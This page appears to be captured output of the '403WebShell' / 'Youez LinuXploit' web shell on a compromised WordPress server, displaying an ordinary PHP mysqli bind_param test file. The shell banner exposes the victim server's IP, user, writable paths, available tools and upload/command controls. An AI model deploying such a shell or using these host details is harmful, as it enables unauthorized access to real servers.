WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/ext/mysqli/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/ext/mysqli/tests/mysqli_stmt_bind_param_call_user_func.phpt
--TEST--
mysqli_stmt_bind_param used with call_user_func_array() (see also bug #43568)
--SKIPIF--
<?php
require_once('skipif.inc');
require_once('skipifemb.inc');
require_once('skipifconnectfailure.inc');
?>
--FILE--
<?php
	require('connect.inc');
	require('table.inc');

	if (!$stmt = mysqli_stmt_init($link))
		printf("[001] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	if (!mysqli_stmt_prepare($stmt, 'SELECT id, label FROM test WHERE id = ?'))
		printf("[002] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$id = 1;
	if (!mysqli_stmt_bind_param($stmt, 'i', $id) ||
		!mysqli_stmt_execute($stmt))
		printf("[003] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$id = $label = null;
	if (!mysqli_stmt_bind_result($stmt, $id, $label) ||
		(true !== mysqli_stmt_fetch($stmt)))
		printf("[004] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	print "Regular, procedural, using variables\n";
	var_dump($id);
	var_dump($label);

	mysqli_stmt_close($stmt);
	if (!$stmt = mysqli_stmt_init($link))
		printf("[005] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	if (!mysqli_stmt_prepare($stmt, 'SELECT id, label FROM test WHERE id = ?'))
		printf("[006] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$types = 'i';
	$id = 1;
	$params = array(
		0 => &$stmt,
		1 => &$types,
		2 => &$id
	);
	if (!call_user_func_array('mysqli_stmt_bind_param', $params))
		printf("[007] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	if (!mysqli_stmt_execute($stmt))
		printf("[008] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$id = $label = null;
	if (!mysqli_stmt_bind_result($stmt, $id, $label) ||
		(true !== mysqli_stmt_fetch($stmt)))
		printf("[009] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	print "Call user func, procedural, using references for everything\n";
	var_dump($id);
	var_dump($label);

	mysqli_stmt_close($stmt);
	if (!$stmt = mysqli_stmt_init($link))
		printf("[010] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	if (!mysqli_stmt_prepare($stmt, 'SELECT id, label FROM test WHERE id = ?'))
		printf("[011] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$types = 'i';
	$id = 1;
	$params = array(
		0 => &$types,
		1 => &$id
	);
	if (!call_user_func_array(array($stmt, 'bind_param'), $params))
		printf("[012] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	if (!mysqli_stmt_execute($stmt))
		printf("[013] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$id = $label = null;
	if (!mysqli_stmt_bind_result($stmt, $id, $label) ||
		(true !== mysqli_stmt_fetch($stmt)))
		printf("[014] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	print "Call user func, object oriented, using references for everything\n";
	var_dump($id);
	var_dump($label);

	mysqli_stmt_close($stmt);
	if (!$stmt = mysqli_stmt_init($link))
		printf("[015] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	if (!mysqli_stmt_prepare($stmt, 'SELECT id, label FROM test WHERE id = ?'))
		printf("[016] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$types = 'i';
	$id = 1;
	$params = array(
		0 => $types,
		1 => &$id
	);
	if (!call_user_func_array(array($stmt, 'bind_param'), $params))
		printf("[017] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	if (!mysqli_stmt_execute($stmt))
		printf("[018] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$id = $label = null;
	if (!mysqli_stmt_bind_result($stmt, $id, $label) ||
		(true !== mysqli_stmt_fetch($stmt)))
		printf("[019] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	print "Call user func, object oriented, using variable for types. using references for bound parameter\n";
	var_dump($id);
	var_dump($label);

	mysqli_stmt_close($stmt);
	if (!$stmt = mysqli_stmt_init($link))
		printf("[020] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	if (!mysqli_stmt_prepare($stmt, 'SELECT id, label FROM test WHERE id = ?'))
		printf("[021] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$id = 1;
	$params = array(
		0 => 'i',
		1 => &$id
	);
	if (!call_user_func_array(array($stmt, 'bind_param'), $params))
		printf("[022] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	if (!mysqli_stmt_execute($stmt))
		printf("[023] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$id = $label = null;
	if (!mysqli_stmt_bind_result($stmt, $id, $label) ||
		(true !== mysqli_stmt_fetch($stmt)))
		printf("[024] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	print "Call user func, object oriented, using constant for types. using references for bound parameter\n";
	var_dump($id);
	var_dump($label);

	mysqli_stmt_close($stmt);
	if (!$stmt = mysqli_stmt_init($link))
		printf("[025] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	if (!mysqli_stmt_prepare($stmt, 'SELECT id, label FROM test WHERE id = ?'))
		printf("[026] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$types = 'i';
	$id = 1;
	$params = array(
		0 => &$stmt,
		1 => $types,
		2 => &$id
	);
	if (!call_user_func_array('mysqli_stmt_bind_param', $params))
		printf("[027] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	if (!mysqli_stmt_execute($stmt))
		printf("[028] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$id = $label = null;
	if (!mysqli_stmt_bind_result($stmt, $id, $label) ||
		(true !== mysqli_stmt_fetch($stmt)))
		printf("[029] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	print "Call user func, procedural, using references for everything but using variable for types\n";
	var_dump($id);
	var_dump($label);

	mysqli_stmt_close($stmt);
	if (!$stmt = mysqli_stmt_init($link))
		printf("[025] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	if (!mysqli_stmt_prepare($stmt, 'SELECT id, label FROM test WHERE id = ?'))
		printf("[026] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$types = 'i';
	$id = 1;
	$params = array(
		0 => $stmt,
		1 => $types,
		2 => &$id
	);
	if (!call_user_func_array('mysqli_stmt_bind_param', $params))
		printf("[027] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	if (!mysqli_stmt_execute($stmt))
		printf("[028] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$id = $label = null;
	if (!mysqli_stmt_bind_result($stmt, $id, $label) ||
		(true !== mysqli_stmt_fetch($stmt)))
		printf("[029] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	print "Call user func, procedural, using references for bound parameter, using variables for resource and types\n";
	var_dump($id);
	var_dump($label);

	mysqli_stmt_close($stmt);
	if (!$stmt = mysqli_stmt_init($link))
		printf("[030] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	if (!mysqli_stmt_prepare($stmt, 'SELECT id, label FROM test WHERE id = ?'))
		printf("[031] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$types = 'i';
	$id = 1;
	$params = array(
		0 => $stmt,
		1 => $types,
		2 => &$id
	);
	if (!call_user_func_array('mysqli_stmt_bind_param', $params))
		printf("[032] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	if (!mysqli_stmt_execute($stmt))
		printf("[033] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$id = $label = null;
	if (!mysqli_stmt_bind_result($stmt, $id, $label) ||
		(true !== mysqli_stmt_fetch($stmt)))
		printf("[034] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	print "Call user func, procedural, using references for bound parameter, using variables for resource and types\n";
	var_dump($id);
	var_dump($label);

	mysqli_stmt_close($stmt);
	if (!$stmt = mysqli_stmt_init($link))
		printf("[035] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	if (!mysqli_stmt_prepare($stmt, 'SELECT id, label FROM test WHERE id = ?'))
		printf("[036] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$id = 1;
	$params = array(
		0 => $stmt,
		1 => 'i',
		2 => &$id
	);
	if (!call_user_func_array('mysqli_stmt_bind_param', $params))
		printf("[037] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	if (!mysqli_stmt_execute($stmt))
		printf("[038] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$id = $label = null;
	if (!mysqli_stmt_bind_result($stmt, $id, $label) ||
		(true !== mysqli_stmt_fetch($stmt)))
		printf("[039] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	print "Call user func, procedural, using references for bound parameter, using variable for resource, using constant for types\n";
	var_dump($id);
	var_dump($label);

	mysqli_stmt_close($stmt);
	if (!$stmt = mysqli_stmt_init($link))
		printf("[040] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	if (!mysqli_stmt_prepare($stmt, 'SELECT id, label FROM test WHERE id = ?'))
		printf("[041] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$id = 1;
	if (!call_user_func_array('mysqli_stmt_bind_param', array($stmt, 'i', &$id)))
		printf("[042] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	if (!mysqli_stmt_execute($stmt))
		printf("[043] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$id = $label = null;
	if (!mysqli_stmt_bind_result($stmt, $id, $label) ||
		(true !== mysqli_stmt_fetch($stmt)))
		printf("[044] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	print "Call user func, procedural, using references for bound parameter, using variable for resource, using constant for types, array\n";
	var_dump($id);
	var_dump($label);

	//
	// Any of those shall fail - see also bugs.php.net/43568
	//
	mysqli_stmt_close($stmt);
	if (!$stmt = mysqli_stmt_init($link))
		printf("[045] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	if (!mysqli_stmt_prepare($stmt, 'SELECT id, label FROM test WHERE id = ?'))
		printf("[046] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$id = 1;
	$params = array(
		0 => 'i',
		1 => &$id
	);
	if (!call_user_func_array(array($stmt, 'bind_param'), $params))
		printf("[047] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	if (!mysqli_stmt_execute($stmt))
		printf("[048] [%d] (Message might vary with MySQL Server version, e.g. No data supplied for parameters in prepared statement)\n", mysqli_stmt_errno($stmt));

	mysqli_stmt_close($stmt);
	if (!$stmt = mysqli_stmt_init($link))
		printf("[049] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	if (!mysqli_stmt_prepare($stmt, 'SELECT id, label FROM test WHERE id = ?'))
		printf("[050] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	$types = 'i';
	$id = 1;
	$params = array(
		0 => $stmt,
		1 => 'i',
		2 => &$id
	);
	if (!call_user_func_array('mysqli_stmt_bind_param', $params))
		printf("[051] [%d] %s\n", mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt));

	if (!mysqli_stmt_execute($stmt))
		printf("[052] [%d] (Message might vary with MySQL Server version, e.g. No data supplied for parameters in prepared statement)\n", mysqli_stmt_errno($stmt));

	print "done!";
?>
--CLEAN--
<?php
	require_once("clean_table.inc");
?>
--EXPECTF--
Regular, procedural, using variables
int(1)
string(1) "a"
Call user func, procedural, using references for everything
int(1)
string(1) "a"
Call user func, object oriented, using references for everything
int(1)
string(1) "a"
Call user func, object oriented, using variable for types. using references for bound parameter
int(1)
string(1) "a"
Call user func, object oriented, using constant for types. using references for bound parameter
int(1)
string(1) "a"
Call user func, procedural, using references for everything but using variable for types
int(1)
string(1) "a"
Call user func, procedural, using references for bound parameter, using variables for resource and types
int(1)
string(1) "a"
Call user func, procedural, using references for bound parameter, using variables for resource and types
int(1)
string(1) "a"
Call user func, procedural, using references for bound parameter, using variable for resource, using constant for types
int(1)
string(1) "a"
Call user func, procedural, using references for bound parameter, using variable for resource, using constant for types, array
int(1)
string(1) "a"
done!

Youez - 2016 - github.com/yon3zu
LinuXploit